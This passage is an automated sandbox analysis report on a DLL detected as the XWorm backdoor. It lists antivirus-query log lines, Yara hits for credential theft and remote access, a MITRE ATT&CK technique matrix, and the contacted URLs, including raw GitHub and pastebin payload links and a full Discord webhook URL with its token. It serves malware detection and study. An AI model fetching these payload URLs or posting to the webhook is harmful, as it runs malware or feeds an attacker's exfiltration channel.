Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 17.2.powershell.exe.289cd920000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.powershell.exe.26300f54bf8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289ce8c4818.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1e080f54ef0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289cd920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.powershell.exe.26300f54bf8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.powershell.exe.26300dcdd88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1e080dcd9a8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289ce73e268.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2788362088.00000289CEB80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2788362088.00000289CE731000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2756687116.000001E080DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2729265774.0000026300DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2756687116.000001E081211000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2132, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5980, type: MEMORYSTR

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 17.2.powershell.exe.289cd920000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.powershell.exe.26300f54bf8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289ce8c4818.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1e080f54ef0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289cd920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.powershell.exe.26300f54bf8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.powershell.exe.26300dcdd88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1e080dcd9a8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289ce73e268.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2788362088.00000289CEB80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2788362088.00000289CE731000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2756687116.000001E080DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2729265774.0000026300DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2756687116.000001E081211000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2132, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5980, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	131 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	1 Input Capture	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	11 Process Injection	11 Obfuscated Files or Information	LSASS Memory	24 System Information Discovery	Remote Desktop Protocol	1 Input Capture	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	Logon Script (Windows)	1 Scheduled Task/Job	2 Software Packing	Security Account Manager	231 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	141 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Regsvr32	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Rundll32	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	45%	ReversingLabs	Win64.Backdoor.Xworm
SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	64%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
tinyurl.com	1%	Virustotal	Browse
discord.com	0%	Virustotal	Browse
raw.githubusercontent.com	0%	Virustotal	Browse
pastebin.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://pastebin.com/raw/zNCj2Utm8e	0%	Avira URL Cloud	safe
https://pastebin.com/raw/6db99fAK	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Avira URL Cloud	safe
https://discord.com	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt	0%	Avira URL Cloud	safe
https://go.micro	0%	Avira URL Cloud	safe
http://tinyurl.com/yeykyduns	0%	Avira URL Cloud	safe
https://discord.com	0%	Virustotal		Browse
https://pastebin.com/raw/6db99fAK	1%	Virustotal		Browse
http://tinyurl.com/yeykydun	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://raw.githubusercont	0%	Avira URL Cloud	safe
http://tinyurl.com/yeykydun	1%	Virustotal		Browse
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt	0%	Avira URL Cloud	safe
https://pastebin.com/raw/zNCj2Utm8e	1%	Virustotal		Browse
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt	0%	Avira URL Cloud	safe
http://discord.com	0%	Avira URL Cloud	safe
https://discord.com/	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt	2%	Virustotal		Browse
https://discord.com/api/webhooks/1276656119212933271/ljgEyB7ad5w4Gj1PTDKiKy_kxL4JW9dGMyOEtbWZENrOfPNvRItMHbgbCoEBh6Sws3Sx	0%	Avira URL Cloud	safe
https://discord.com/api/webhooks/1276656119212933271/ljgEyB7ad5w4Gj1PTDKiKy_kxL4JW9dGMyOEtbWZENrOfPN	0%	Avira URL Cloud	safe
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt	1%	Virustotal		Browse
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://discord.com/api/webhooks/127665611921293	0%	Avira URL Cloud	safe
https://discord.com/api/webhooks/1276656119212933271/ljgEyB7ad5w4Gj1PTDKiKy_kxL4JW9dGMyOEtbWZENrOfPNvRItMHbgbCoEBh6Sws3Sx	0%	Virustotal		Browse
https://discord.com/	0%	Virustotal		Browse
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt	1%	Virustotal		Browse
https://discord.com/api/webhooks/1276656119212933271/ljgEyB7ad5w	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt	0%	Avira URL Cloud	safe
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt	0%	Virustotal		Browse
https://0.discor	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	1%	Virustotal		Browse
https://raw.githubusercontent.com	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt	1%	Virustotal		Browse
http://tinyurl.com/yeykydunU	0%	Avira URL Cloud	safe
http://discord.com	0%	Virustotal		Browse
http://tinyurl.com/yk3s8ubp	0%	Avira URL Cloud	safe
http://tinyurl.com	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com	1%	Virustotal		Browse
http://raw.githubusercontent.com	0%	Avira URL Cloud	safe
https://pastebin.com/raw/sA04Mwk2	0%	Avira URL Cloud	safe
http://tinyurl.com/yk3s8ubp	1%	Virustotal		Browse
https://pastebin.com/raw/zNCj2Utm	0%	Avira URL Cloud	safe
https://0.discord.com/	0%	Avira URL Cloud	safe
http://pastebin.com	0%	Avira URL Cloud	safe
https://pastebin.com	0%	Avira URL Cloud	safe
http://tinyurl.com	1%	Virustotal		Browse
https://pastebin.com/raw/zNCj2Utm	2%	Virustotal		Browse
http://pastebin.com	0%	Virustotal		Browse
https://pastebin.com	0%	Virustotal		Browse
https://pastebin.com/raw/sA04Mwk2	1%	Virustotal		Browse
https://0.discord.com/	0%	Virustotal		Browse
http://raw.githubusercontent.com	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
tinyurl.com	104.18.111.161	true	false	1%, Virustotal, Browse	unknown
discord.com	162.159.138.232	true	true	0%, Virustotal, Browse	unknown
raw.githubusercontent.com	185.199.109.133	true	true	0%, Virustotal, Browse	unknown
pastebin.com	104.20.3.235	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://pastebin.com/raw/6db99fAK	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tinyurl.com/yeykydun	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://discord.com/api/webhooks/1276656119212933271/ljgEyB7ad5w4Gj1PTDKiKy_kxL4JW9dGMyOEtbWZENrOfPNvRItMHbgbCoEBh6Sws3Sx	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://pastebin.com/raw/sA04Mwk2	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://pastebin.com/raw/zNCj2Utm	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000006.00000002.2638294290.000001E356521000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2638294290.000001E3563DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2687080170.0000014B528BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2687080170.0000014B52A01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2681866347.0000026E38C61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2681866347.0000026E38B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2564157225.00000235B6632000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2564157225.00000235B64F0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://discord.com	powershell.exe, 00000006.00000002.2377518393.000001E347FC2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2377518393.000001E3467B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B42C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B443E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A61E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E28EF9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A68CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A8017000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000D.00000002.2357759046.00000235A66A4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000D.00000002.2357759046.00000235A66A4000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
